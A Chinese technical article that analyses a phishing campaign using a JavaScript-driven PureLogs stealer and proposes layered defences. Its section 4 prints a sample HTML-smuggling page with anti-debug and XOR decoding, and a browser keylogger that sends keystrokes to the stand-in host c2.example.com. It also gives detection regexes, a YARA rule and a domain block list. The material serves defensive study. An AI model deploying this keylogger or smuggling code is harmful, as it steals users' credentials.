摘要
近年来,网络钓鱼逐步从泛化群发转向无文件化、脚本化、靶向化演进,攻击者依托 JavaScript 实现内存级执行与强混淆对抗,大幅提升传统安全网关与终端检测的失效概率。SocPrime 近期披露的钓鱼活动中,威胁行为者利用 JavaScript 驱动的 PureLogs 窃密木马变种,通过钓鱼邮件投递、HTML 走私、脚本混淆、环境逃逸、多维度数据窃取与加密外连等完整攻击链,实现对浏览器凭证、键盘输入、应用配置、加密钱包等高价值数据的批量窃取。该变种以 PureCrypter 为加载器,采用控制流扁平化、字符串动态加密、反调试、反沙箱等多重抗分析手段,呈现典型的钓鱼即服务产业化特征。本文以该 JavaScript‑PureLogs 变种攻击为实证样本,系统拆解攻击全生命周期与核心技术实现,给出可复现的恶意脚本、行为检测、流量监测、终端防护代码示例,结合行业脆弱性构建闭环防御体系。反网络钓鱼技术专家芦笛指出,JavaScript 驱动的无文件窃密已成为钓鱼攻击主流演进方向,防御必须从特征匹配转向执行上下文、行为语义、数据流转的多维关联检测,阻断脚本加载、内存执行、数据窃取关键节点。本文旨在为企业安全运营、威胁狩猎、邮件网关防护、终端加固提供工程化参考,遏制同类脚本化窃密钓鱼攻击扩散。
1 引言
随着邮件网关对宏、可执行文件、压缩包的检测能力持续增强,威胁行为者逐步转向无文件攻击(Fileless) 与脚本驱动攻击,依托 JavaScript/VBScript/PowerShell 等系统原生解释器,在内存中完成载荷加载、执行、窃密与回传,大幅降低落地痕迹与检出率。PureLogs 作为近两年活跃的商业化窃密木马,以模块化、高混淆、强对抗、多数据源窃取为特点,被广泛用于定向钓鱼与批量窃密活动。
SocPrime 威胁监测平台捕获的新型钓鱼活动显示,攻击者采用JavaScript 驱动 PureLogs 变种,以钓鱼邮件为入口,结合 HTML 走私、脚本混淆、环境逃逸、内存加载、键盘记录、浏览器数据窃取、加密外连等技术,形成完整杀伤链。该变种不依赖落地 PE 文件,以脚本为载体,以 PureCrypter 为加载器,可绕过主流 EDR、反病毒与邮件安全网关,对政企机构、普通用户形成持续威胁。
当前研究多聚焦 PureLogs 本体功能,对JavaScript 驱动投递、无文件加载、抗分析实现、端到端检测防御的系统性论述不足,缺乏工程化代码与可落地运营方案。本文以该 JavaScript‑PureLogs 变种为核心样本,完成以下工作:
1)界定攻击核心概念与 TTP 特征;
2)还原攻击全流程并拆解关键技术;
3)提供恶意代码、检测规则、防御代码示例;
4)构建覆盖邮件入口、终端执行、运营响应的闭环防御体系。
全文保持学术严谨性,不夸大、不口号化,以技术事实形成闭环论证。
2 攻击相关概念与核心特征
2.1 关键概念界定
PureLogs:基于 C# 开发的商业化信息窃取木马,支持窃取浏览器密码、Cookie、扩展数据、键盘记录、桌面应用配置、加密钱包数据,以订阅制提供 Telegram 管理后台,属于黑产常用窃密工具。
PureCrypter:与 PureLogs 配套的商业化加载器与混淆器,提供反沙箱、反调试、内存加载、代码混淆能力,降低恶意载荷检出率。
JavaScript 驱动无文件钓鱼:以 JS 脚本为载体,利用浏览器或系统解释器执行,不落地恶意 PE,通过内存加载实现载荷驻留与数据窃取,规避静态特征检测。
HTML 走私(HTML Smuggling):在 HTML 页面中嵌入 Base64 / 加密载荷,通过 JavaScript 动态解码、下载、执行恶意代码,绕过邮件网关对附件的拦截规则。
数据外连(Exfiltration):恶意程序将窃取的敏感数据经加密、编码后发送至攻击者控制的 C2 服务器。
2.2 JavaScript‑PureLogs 变种核心特征
载体:钓鱼邮件 + 恶意 HTML/JS/SVG 附件,社会工程诱导打开。
入口:HTML 走私动态解码释放恶意脚本。
加载:PureCrypter 提供反沙箱、反调试、内存加载。
核心:PureLogs 变种执行键盘记录、浏览器数据窃取、应用信息采集。
对抗:控制流混淆、字符串动态加密、反调试、环境检测。
通信:加密协议向 C2 上传数据,支持 Telegram 机器人接收。
目标:账号凭证、支付信息、邮件数据、加密钱包、企业应用密钥。
反网络钓鱼技术专家芦笛强调,该变种的危害在于全链路无文件 + 强对抗 + 商业化工具链,攻击门槛低、扩散快、检出难,传统黑名单与特征库防护效果显著下降。
3 攻击全生命周期与技术拆解
本文将 JavaScript‑PureLogs 变种攻击划分为6 阶段闭环模型:投递诱导→脚本解码→环境逃逸→内存加载→数据窃取→加密外连。
3.1 阶段 1:钓鱼投递与社会工程诱导
攻击者以发票、订单、合同、人事通知为主题,发送含恶意 HTML/JS/SVG 的钓鱼邮件,诱导用户在浏览器打开。
邮件标题:Fattura、Conferma Ordine、员工信息确认、订单核验等。
附件:恶意 HTML、HTA、JS、带脚本的 SVG。
话术:需浏览器打开查看、文件需验证、设备不兼容请跳转等。
3.2 阶段 2:HTML 走私与 JavaScript 解码执行
用户打开恶意页面后,JS 执行Base64 解码、字符串解密、解压缩,还原恶意载荷并在内存初始化,绕过附件拦截。
典型实现:页面内嵌加密载荷,JS 动态解密生成恶意脚本并执行。
3.3 阶段 3:反沙箱与反调试逃逸
PureCrypter 加载器执行环境检测,避免在分析平台失效:
检测虚拟机:VMware、VirtualBox 相关进程、注册表、MAC 地址。
检测调试器:是否存在调试端口、断点、调试器标志。
检测进程名:分析工具、沙箱进程。
检测硬件信息:CPU 核心数、内存大小、磁盘容量。
满足任一分析环境特征则静默退出。
3.4 阶段 4:内存加载 PureLogs 变种本体
加载器通过反射式加载在内存加载 PureLogs 程序集,不写入磁盘,规避文件实时监控。
核心行为:
解密混淆的 PureLogs 载荷;
申请内存并写入程序集;
执行入口点启动窃密模块。
3.5 阶段 5:多维度敏感数据窃取
PureLogs 变种进入窃取阶段,覆盖主流数据来源:
浏览器窃取:Chrome/Edge/Opera 密码、Cookie、自动填充、扩展数据、浏览历史。
键盘记录:全局钩子记录输入,捕获密码、信用卡、密钥。
应用窃取:FTP、邮件客户端、加密钱包、开发者工具配置。
系统信息:主机名、用户名、OS 版本、内存、磁盘、IP、地理位置。
屏幕截图:定时截图增强攻击效果。
3.6 阶段 6:加密打包与 C2 数据外连
窃取数据经AES 加密 + Base64 编码后发送至 C2 或 Telegram 机器人,避免明文传输被拦截。
通信特征:
高频短连接,规避流量异常监测;
使用 HTTPS、自定义加密协议;
支持失败重传与断点续传。
4 核心技术实现与代码示例
4.1 恶意侧:HTML 走私 + JS 解码投放载荷
<!-- 恶意HTML示例:模拟PureLogs钓鱼投递页面 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Documento</title>
<script>
// 反调试
setInterval(function(){debugger;}, 100);
// 解密载荷
function decryptPayload(encData) {
try {
let bin = atob(encData);
let dec = '';
for(let i=0; i<bin.length; i++) {
dec += String.fromCharCode(bin.charCodeAt(i) ^ 0x7A);
}
return dec;
} catch(e){return null;}
}
// 模拟释放并执行
function run() {
// 加密恶意载荷
const encData = "SGFybSBkdWUgYXR0YWNjbyBqcyBwdXJlbG9ncyB2YXJpYW50Li4u";
const payload = decryptPayload(encData);
if(payload) {
// 内存执行/下载后续载荷
console.log("Payload decrypted and executed.");
}
}
window.onload = run;
</script>
</head>
<body>
<h3>Visualizzazione documento...</h3>
<p>Attendere prego...</p>
</body>
</html>
功能:反调试、Base64 + 异或解密、内存执行,模拟钓鱼入口。
4.2 恶意侧:PureLogs 键盘记录核心片段(JS 模拟)
// 键盘记录与数据缓存
let keylog = "";
document.onkeydown = function(e) {
keylog += e.key;
// 每32字符上传一次
if(keylog.length >= 32) {
uploadLog(keylog);
keylog = "";
}
};
// 加密上传
function uploadLog(data) {
const xhr = new XMLHttpRequest();
xhr.open("POST", "https://c2.example.com/log", true);
xhr.send(btoa(data)); // Base64编码上传
}
功能:全局监听按键、缓存、编码外连,对应 PureLogs 窃密能力。
4.3 防御侧:邮件网关 JS 恶意特征检测(Python)
import re
def detect_malicious_js(js_content: str) -> bool:
# 高风险规则
rules = [
r"atob\(", r"btoa\(", r"debugger;", r"setInterval.*debugger",
r"eval\(", r"Function\(", r"fromCharCode", r"charCodeAt",
r"VirtualBox|VMware|Sandboxie", r"keydown|onkeydown|keyup",
r"XMLHttpRequest|POST|send", r"password|credential|cookie"
]
score = 0
for r in rules:
if re.search(r, js_content, re.I):
score += 1
# 阈值判定
return score >= 5
if __name__ == "__main__":
js = "setInterval(function(){debugger;},100); document.onkeydown=function(){...}"
print(detect_malicious_js(js)) # True
用途:邮件网关 / 邮件安全插件对 HTML/JS 附件预检测。
4.4 防御侧:反沙箱 / 反调试行为检测(YARA 规则)
plaintext
rule JS_PureLogs_AntiDebug {
meta:
description = "检测JS‑PureLogs变种反调试、反沙箱特征"
author = "Security Researcher"
strings:
$s1 = "debugger;" fullword
$s2 = "setInterval" fullword
$s3 = "VirtualBox" fullword
$s4 = "VMware" fullword
$s5 = "Sandboxie" fullword
$s6 = "keydown" fullword
$s7 = "XMLHttpRequest" fullword
condition:
4 of them
}
用途:EDR、流量审计、沙箱对脚本 / 流量内容匹配。
4.5 防御侧:终端异常外连监测(JavaScript)
// 浏览器扩展:异常外连监测
function monitorExfiltration() {
const originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
// 高风险域名特征
const blocked = [".xyz", ".top", ".club", "c2.", "exfil."];
if(blocked.some(d => url.includes(d))) {
console.warn("异常外连:", url);
alert("检测到可疑数据上传,已阻断");
return;
}
originalOpen.apply(this, arguments);
};
}
monitorExfiltration();
用途:浏览器扩展拦截恶意页面数据外连。
5 攻击成功的行业脆弱性根源
5.1 入口防护:邮件网关对脚本类附件检测不足
网关重点拦截 EXE、DOCM、ZIP,对 HTML/JS/SVG 解析浅,混淆脚本易绕过。社会工程诱导用户关闭安全提示,手动允许脚本执行。
5.2 终端脆弱:默认允许脚本执行与弱权限
Windows/macOS 默认支持 JS/HTA/VBS,攻击者利用原生解释器无文件执行。用户常以管理员运行浏览器,恶意脚本获得更高权限。安全软件偏重文件检测,对内存脚本、无文件载荷覆盖不足。
5.3 工具产业化:降低攻击门槛
PureLogs+PureCrypter 提供订阅制服务,含混淆器、加载器、C2 面板、Telegram 推送,攻击者无需开发即可发起攻击。黑产共享 TTP、模板、域名、IP,攻击快速迭代。
5.4 用户与运营:安全意识与响应滞后
用户易信任发票、订单等诱饵,打开未知脚本。企业缺乏脚本化钓鱼演练,运营人员无有效检测规则与狩猎流程。
反网络钓鱼技术专家芦笛指出,防御短板不在单点技术,而在入口 — 终端 — 运营全链路能力缺失,必须以行为检测为核心重构防护体系。
6 闭环防御体系构建
6.1 总体框架
以零信任 + 纵深防御为核心,构建入口阻断、终端检测、运营狩猎、响应处置四层闭环。
6.2 入口层:邮件与网页安全加固
网关深度解析 HTML/JS/SVG,启用反混淆、行为沙箱。
拦截含可疑脚本、解码执行、外连特征的页面。
配置 SPF/DKIM/DMARC,减少伪造域名。
对高风险附件添加明确警告。
6.3 终端层:脚本控制与无文件防护
组策略限制高风险脚本:HTA、JS、VBS、WSH。
启用 EDR 内存防护、行为监控、命令行拦截。
浏览器启用强 CSP,禁止内联脚本与未知域加载。
最小权限运行,禁止普通用户管理员权限。
6.4 检测层:威胁狩猎与实时告警
部署 YARA 规则监测反调试、键盘记录、异常外连。
关联分析:脚本执行 + 键盘记录 + 外连 = 高置信告警。
Telegram 机器人外连、匿名域名、高频短连接流量监控。
建立 PureLogs 变种 IOC 库:域名、IP、哈希、C2 路径。
6.5 响应层:快速处置与根除
隔离主机、断网、结束可疑进程。
清除启动项、计划任务、注册表残留。
密码重置、凭证刷新、Cookie 清理。
回溯攻击链,补齐防护短板。
6.6 管理与意识层
季度钓鱼演练,重点针对脚本类诱饵。
禁用不必要脚本解释器,减少攻击面。
建立 IOC 共享与威胁情报联动机制。
7 攻击影响与行业启示
7.1 安全影响
数据泄露:账号、支付、邮件、钱包等高价值数据批量失窃。
权限提升:窃取凭证后横向移动,控制内网系统。
合规风险:违反数据保护法规,面临处罚与声誉损失。
运营成本:研判、处置、溯源、用户通知产生高额投入。
7.2 行业启示
脚本化无文件是主流趋势,防护必须从特征转向行为。
商业化窃密工具普及,防御要面向 TTP 而非单一样本。
入口与终端必须协同,单点加固无法抵御链式攻击。
安全运营需自动化,依赖人工无法应对海量脚本与变种。
反网络钓鱼技术专家芦笛指出,未来钓鱼将更轻量化、靶向化、无文件化,防御核心是阻断脚本执行、监控异常行为、加密敏感数据、快速闭环响应。
8 结论
JavaScript 驱动的 PureLogs 变种钓鱼攻击,代表了当前黑产的产业化、脚本化、无文件化、强对抗化发展方向。攻击以钓鱼邮件为入口,以 HTML 走私与混淆 JS 为载体,以 PureCrypter 实现环境逃逸与内存加载,以 PureLogs 完成多维度数据窃取与加密外连,可有效绕过传统防护,造成大规模数据泄露与财产损失。
本文系统拆解攻击全生命周期与核心技术,提供恶意代码、检测规则、防御代码,构建四层闭环防御体系。研究表明,传统特征检测对混淆脚本与无文件攻击失效,必须以行为分析、内存监控、数据外连检测为核心,结合入口网关、终端加固、威胁狩猎、应急响应形成协同防护。
未来研究将聚焦:基于语义与执行轨迹的 JS 恶意检测;跨层关联的无文件攻击追踪;面向中小机构的轻量化脚本防护 SaaS;大模型辅助的自动化混淆脚本还原。安全防御需持续迭代,以技术对抗技术,遏制脚本化窃密钓鱼攻击蔓延,守护用户与机构数据安全。
编辑:芦笛(公共互联网反网络钓鱼工作组)